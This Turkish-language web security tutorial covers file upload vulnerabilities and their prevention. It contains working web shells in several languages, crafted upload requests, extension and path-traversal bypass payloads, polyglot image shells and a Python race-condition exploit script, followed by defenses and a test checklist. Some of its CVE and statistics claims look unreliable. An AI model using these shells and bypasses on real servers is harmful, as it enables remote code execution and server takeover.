File Upload Vulnerabilities

Web uygulamalarında dosya yükleme güvenlik açıkları ve exploitation teknikleri

<?php echo system($_GET['cmd']); ?>

File Upload Vulnerabilities Nedir?

File Upload Vulnerabilities, web uygulamalarının kullanıcıların dosya yüklemesine izin verdiği noktalarda yetersiz doğrulama yapması sonucu ortaya çıkan güvenlik açıklarıdır. Bu açıklar, saldırganların kötü amaçlı dosyalar yüklemesine ve sunucuda kod çalıştırmasına olanak tanır.

Risk Seviyesi: CRITICAL
File upload açıkları, saldırganın sunucuda tam kontrol sahibi olmasına yol açabilir. Bu nedenle en yüksek risk seviyesinde değerlendirilir.
Yaygın Görüldüğü Yerler:
  • • Profil fotoğrafı yükleme
  • • Döküman yükleme sistemleri
  • • Avatar/resim upload
  • • File sharing platformları
  • • CMS içerik yönetimi
İstatistikler
OWASP Top 10'da "Injection" kategorisi altında yer alan bu açık türü, web uygulamalarının %60'ından fazlasında tespit edilmektedir.

Web Shell Saldırıları EXPERT

Web Shell, saldırganın uzak sunucuda HTTP istekleri aracılığıyla komut çalıştırmasına olanak tanıyan kötü amaçlı scriptlerdir. Bu, file upload açığının en tehlikeli sonucudur.

Amaç: Bu bilgiler sadece eğitim ve güvenlik testleri içindir. Yetkisiz sistemlerde kullanımı yasa dışıdır.

Basit PHP Web Shell:

<?php
echo file_get_contents('/path/to/target/file');
?>

Daha gelişmiş web shell:

<?php
echo system($_GET['command']);
?>

Kullanım örneği:

GET /uploads/shell.php?command=id HTTP/1.1
Host: vulnerable-site.com
uid=33(www-data) gid=33(www-data) groups=33(www-data)
💡 Tespit İpucu: Web shell yükledikten sonra, sunucudaki diğer dosyalara erişim sağlayabilir, veritabanı bilgilerini okuyabilir veya sistemi pivot point olarak kullanabilirsiniz.
Web Shell Çeşitleri
PHP: <?php system($_GET['c']); ?>
ASP: <%eval request("c")%>
JSP: <%Runtime.getRuntime().exec(request.getParameter("c"));%>

Content-Type Bypass APPRENTICE

Birçok web uygulaması, yüklenen dosyanın türünü kontrol etmek için sadece Content-Type header'ına güvenir. Bu header kolayca manipüle edilebilir.

Normal bir resim upload request'i:

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: image/jpeg

[...binary image data...]
------WebKitFormBoundary--

Bypass edilmiş request (PHP shell):

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php echo system($_GET['cmd']); ?>
------WebKitFormBoundary--
Kritik Nokta: Content-Type header'ı image/jpeg olarak gönderildiği halde, dosyanın gerçek içeriği PHP kodu. Sunucu sadece header'a bakıyorsa bypass edilir.
Burp Suite İle Bypass
1. Normal dosyayı upload edin
2. Burp Proxy'de request'i yakalayın
3. Content-Type'ı değiştirerek Repeater'a gönderin
4. Dosya içeriğini shell code ile değiştirin

Path Traversal ile Upload PRACTITIONER

Dosya adı doğrulaması yetersizse, directory traversal teknikleri kullanarak dosyayı farklı dizinlere yükleyebilirsiniz. Bu, executable klasörlere erişim sağlayabilir.

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
Hedef Dizinler:
  • Linux: /var/www/html/, /var/www/, /usr/share/nginx/html/
  • Windows: C:\inetpub\wwwroot\, C:\xampp\htdocs\
  • Apache: /var/www/html/, /opt/lampp/htdocs/
  • Nginx: /usr/share/nginx/html/, /var/www/html/
💡 Pro İpucu: Bazen upload dizini executable değildir, ancak path traversal ile web root'a çıkabilirsiniz. ../ yerine ..\/ veya %2e%2e%2f encoding'i deneyin.
Traversal Payloadları
../shell.php - Bir üst dizin
..\/shell.php - Windows style
%2e%2e%2fshell.php - URL encoded
....//shell.php - Double encoding bypass

Blacklist Bypass Teknikleri PRACTITIONER

Uygulamalar genellikle .php, .jsp gibi tehlikeli uzantıları engellerler. Ancak alternatif uzantılar veya bypass teknikleri kullanılabilir.

PHP Alternatif Uzantıları:
  • • .php3, .php4, .php5, .php7
  • • .phtml, .pht
  • • .phps, .php-s
  • • .phar
  • • .inc (include files)

.htaccess ile Server Configuration Override:

# .htaccess dosya içeriği
AddType application/x-httpd-php .txt
AddHandler php-script .txt

Bu .htaccess dosyasını yükledikten sonra, .txt uzantılı dosyalar PHP olarak çalıştırılacaktır:

# shell.txt dosya içeriği
<?php
echo system($_GET['cmd']);
?>
IIS web.config Bypass:
<staticContent><mimeMap fileExtension=".txt" mimeType="application/x-httpd-php" /></staticContent>
Server-Specific Uzantıları
Apache: .php, .php3, .phtml
IIS: .asp, .aspx, .ashx
Tomcat: .jsp, .jspx
Node.js: .js, .json

Dosya Uzantısı Obfuscation PRACTITIONER

Blacklist filtreleri çeşitli obfuscation teknikleri ile bypass edilebilir. Bu teknikler, parsing farklılıklarından yararlanır.

Case Sensitivity Bypass:
  • • shell.PHP (büyük harf)
  • • shell.PhP (karışık)
  • • shell.pHp (alternatif karışık)
# Çoklu uzantı bypass
shell.php.jpg
shell.php.png
shell.php.gif

# Trailing characters
shell.php     # space
shell.php.    # dot
shell.php%20  # encoded space

# Null byte injection
shell.php%00.jpg
shell.php;.jpg
💡 Unicode Bypass: Bazı unicode karakterler null byte'a dönüşebilir:
shell.php%C0%AE.jpg veya shell.php%C4%AE.jpg
Recursive Strip Bypass:
Eğer sistem .php'yi strip ediyorsa: shell.pphphp
Strip işleminden sonra: shell.php
Encoding Teknikleri
URL Encoding: shell%2Ephp
Double Encoding: shell%252Ephp
Unicode: shell%u002Ephp

Polyglot Dosyalar ile Bypass PRACTITIONER

Polyglot dosyalar, hem geçerli bir resim hem de çalıştırılabilir kod içeren dosyalardır. Bu teknik, içerik tabanlı doğrulamaları bypass etmek için kullanılır.

JPEG Polyglot Örneği:

# ExifTool ile polyglot JPEG oluşturma
exiftool -Comment="<?php echo system(\$_GET['cmd']); ?>" image.jpg

# Manuel olarak JPEG header + PHP code
FF D8 FF E0 # JPEG magic bytes
<?php system($_GET['cmd']); ?>
Dosya Magic Bytes:
  • JPEG: FF D8 FF
  • PNG: 89 50 4E 47
  • GIF: 47 49 46 38
  • PDF: 25 50 44 46

PNG Polyglot ile PHP Shell:

# PNG header ile başlayan polyglot
‰PNG<?php system($_GET['cmd']); ?>

# Hex olarak
89 50 4E 47 3C 3F 70 68 70 20 73 79 73...
💡 GIF Polyglot: GIF formatı daha esnek olduğu için polyglot oluşturmak daha kolaydır:
GIF89a<?php system($_GET['cmd']); ?>
Polyglot Oluşturma Araçları
ExifTool: Metadata'ya kod enjekte etme
Hex Editor: Manuel binary düzenleme
ImageMagick: Resim manipülasyonu
Custom Scripts: Otomatik polyglot üretimi

Race Condition Saldırıları EXPERT

Bazı uygulamalar dosyayı önce yükler, sonra doğrulama yapar ve geçersizse siler. Bu kısa sürede dosyayı çalıştırmak mümkündür.

Race Condition Süreci:
1. Dosya geçici dizine yüklenir
2. Doğrulama başlar (birkaç milisaniye)
3. Bu sürede dosya erişilebilir
4. Doğrulama fail olursa dosya silinir

Python ile Race Condition Exploit:

import threading
import requests
import time

def upload_file():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post('http://target.com/upload', files=files)

def access_file():
    while True:
        r = requests.get('http://target.com/uploads/shell.php?cmd=id')
        if 'uid=' in r.text:
            print('Success!', r.text)
            break
        time.sleep(0.01)

# Paralel çalıştırma
threading.Thread(target=upload_file).start()
threading.Thread(target=access_file).start()
Timing Optimization: Büyük dosyalar yükleme süresini uzatır. Payload'u dosyanın başına, sonuna padding bytes ekleyerek zaman kazanabilirsiniz.
Race Condition İpuçları
• Çoklu thread kullanın (100+ paralel request)
• Upload süresini uzatmak için büyük dosyalar kullanın
• Geçici dosya adlarını brute force etmeyi deneyin
• Network latency'sini hesaba katın

HTTP PUT Method ile Upload APPRENTICE

Bazı web sunucuları HTTP PUT metodunu destekler. Bu method, form upload olmaksızın doğrudan dosya yüklemeye olanak tanır.

PUT /uploads/shell.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo system($_GET['cmd']); ?>
💡 PUT Method Testi: OPTIONS method ile hangi HTTP metodlarının desteklendiğini kontrol edebilirsiniz:
OPTIONS /upload HTTP/1.1

OPTIONS Request ile Method Discovery:

OPTIONS /uploads/ HTTP/1.1
Host: target.com

# Response:
HTTP/1.1 200 OK
Allow: GET, POST, PUT, DELETE, OPTIONS
PUT Method Avantajları:
  • • Form validation bypass
  • • Content-Type kontrolü yok
  • • Dosya adı kontrolü minimal
  • • Direct binary upload
cURL ile PUT Upload
curl -X PUT http://target.com/shell.php -d "<?php system(\$_GET['cmd']); ?>"
curl -T shell.php http://target.com/uploads/

Korunma Yöntemleri ve Best Practices

File upload güvenlik açıklarından korunmak için çok katmanlı bir güvenlik yaklaşımı benimsenmelidir.

Temel Güvenlik Önlemleri:
  • • Whitelist kullanın (blacklist değil)
  • • Dosya içeriğini doğrulayın (magic bytes)
  • • Dosya boyutu sınırlaması
  • • Upload dizinini executable yapmayın
  • • Dosya adlarını randomize edin

Güvenli Upload Implementation:

# PHP Güvenli Upload Örneği
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$max_size = 2 * 1024 * 1024; // 2MB

if (!in_array($_FILES['file']['type'], $allowed_types)) {
    die('Invalid file type');
}

if ($_FILES['file']['size'] > $max_size) {
    die('File too large');
}

# Magic bytes kontrolü
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$file_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
💡 Sandbox Approach: Upload edilen dosyaları ayrı bir subdomain'de (uploads.example.com) veya CDN'de tutun. Bu, XSS ve RCE risklerini minimize eder.
Server Configuration:
• Upload dizininde PHP execution'ı devre dışı bırakın
• .htaccess ve web.config dosyalarını engelleyin
• Directory listing'i kapatın
• WAF (Web Application Firewall) kullanın
Defense in Depth
Katman 1: Client-side validation
Katman 2: Server-side file type check
Katman 3: Content validation (magic bytes)
Katman 4: Antivirus scanning
Katman 5: Sandboxing

Test Metodolojisi ve Checklist

File upload vulnerability testleri için sistematik bir yaklaşım izlenmeli ve tüm potansiyel bypass teknikleri denenmelidir.

Test Adımları:
  1. 1. Reconnaissance: Upload fonksiyonunu keşfet
  2. 2. Baseline Test: Normal dosya yükle
  3. 3. File Type Bypass: Farklı uzantıları dene
  4. 4. Content-Type Bypass: MIME type manipüle et
  5. 5. Content Validation: Polyglot dosyalar test et
  6. 6. Path Traversal: Directory traversal dene
  7. 7. Race Condition: Timing saldırısı yap
# File Upload Test Checklist

□ Basic Upload Test
  - Normal dosya yükleme çalışıyor mu?
  - Hangi dosya tipleri kabul ediliyor?
  - Dosya boyutu limiti var mı?

□ File Extension Tests
  - .php, .jsp, .asp uzantıları engelleniyor mu?
  - Alternatif uzantılar (.php5, .phtml) test edildi mi?
  - Case sensitivity bypass denendir mi?
  - Double extension (shell.php.jpg) test edildi mi?

□ Content-Type Bypass
  - MIME type doğrulaması var mı?
  - Content-Type header manipüle edilebilir mi?
  - Multipart form-data bypass mümkün mü?

□ Magic Bytes Test
  - Dosya içeriği doğrulanıyor mu?
  - Polyglot dosyalar çalışıyor mu?
  - Image header + shell code kombinasyonu?
💡 Automated Testing: Burp Suite'in "Upload Scanner" extension'ı veya custom script'ler ile otomatik test yapılabilir. Manuel testleri tamamladıktan sonra automation kullanın.

Test Araçları ve Payloadları

File upload vulnerability testleri için kullanılabilecek araçlar ve hazır payloadlar:

Test Araçları:
  • • Burp Suite: Manual testing, Repeater, Intruder
  • • OWASP ZAP: Otomatik vulnerability scanning
  • • fuxploider: File upload fuzzer
  • • Upload Scanner: Burp extension
  • • ExifTool: Polyglot dosya oluşturma
Web Shell Collection
PHP: <?php system($_GET['c']); ?>
ASP: <%eval request("c")%>
JSP: <%Runtime.getRuntime().exec(request.getParameter("c"));%>
Python: import os; os.system(request.args.get('c'))

Burp Suite Intruder Payloadları:

# Extension payloads
php
php3
php4
php5
php7
phtml
pht
phps
inc

# Case variation payloads
PHP
PhP
pHp
Php

# Double extension payloads
php.jpg
php.png
php.gif
php.pdf
Etik Kullanım: Bu araç ve payloadlar sadece yetkiniz olan sistemlerde ve eğitim amaçlı kullanılmalıdır. Yetkisiz erişim suçtur.

Gerçek Dünya Örnekleri ve Case Studies

File upload vulnerability'leri gerçek dünya uygulamalarında nasıl exploit edildiğine dair örnekler:

Case Study 1: WordPress Plugin Vulnerability
Birçok WordPress plugin'i dosya upload işlemi sırasında yeterli doğrulama yapmaz. .php uzantısını engelleseler bile, .php5 veya .phtml uzantılarını gözden kaçırabilirler.
CVE Örnekleri
CVE-2019-8978: WordPress File Manager plugin RCE
CVE-2020-24148: Drupal core file upload bypass
CVE-2021-24406: WP User Frontend arbitrary file upload
Bu CVE'lar file upload açığının yaygınlığını gösterir.
Yaygın Senaryolar:
  • • CMS admin panelleri
  • • File sharing platformları
  • • E-commerce ürün resimleri
  • • Social media profil fotoğrafları
  • • Document management sistemleri
💡 Bug Bounty İpucu: File upload fonksiyonları bug bounty programlarında yüksek ödül alan açık türlerinden biridir. Özellikle admin panelleri ve user-generated content alanları odaklanın.

File Upload Security Mastery!

Önemli Hatırlatmalar
Çok katmanlı güvenlik: Tek bir kontrol yeterli değildir
Whitelist yaklaşımı: Blacklist yerine whitelist kullanın
İçerik doğrulama: Sadece uzantıya güvenmeyin
Sandbox: Upload dosyalarını izole edin
Monitoring: Upload aktivitelerini logaylın
Etik Sorumluluk: Bu bilgileri sadece yasal çerçevede, yetkiniz olan sistemlerde ve güvenlik testleri için kullanın. Unauthorized access yasalarca cezalandırılır.

echo "Security first, always! 🛡️"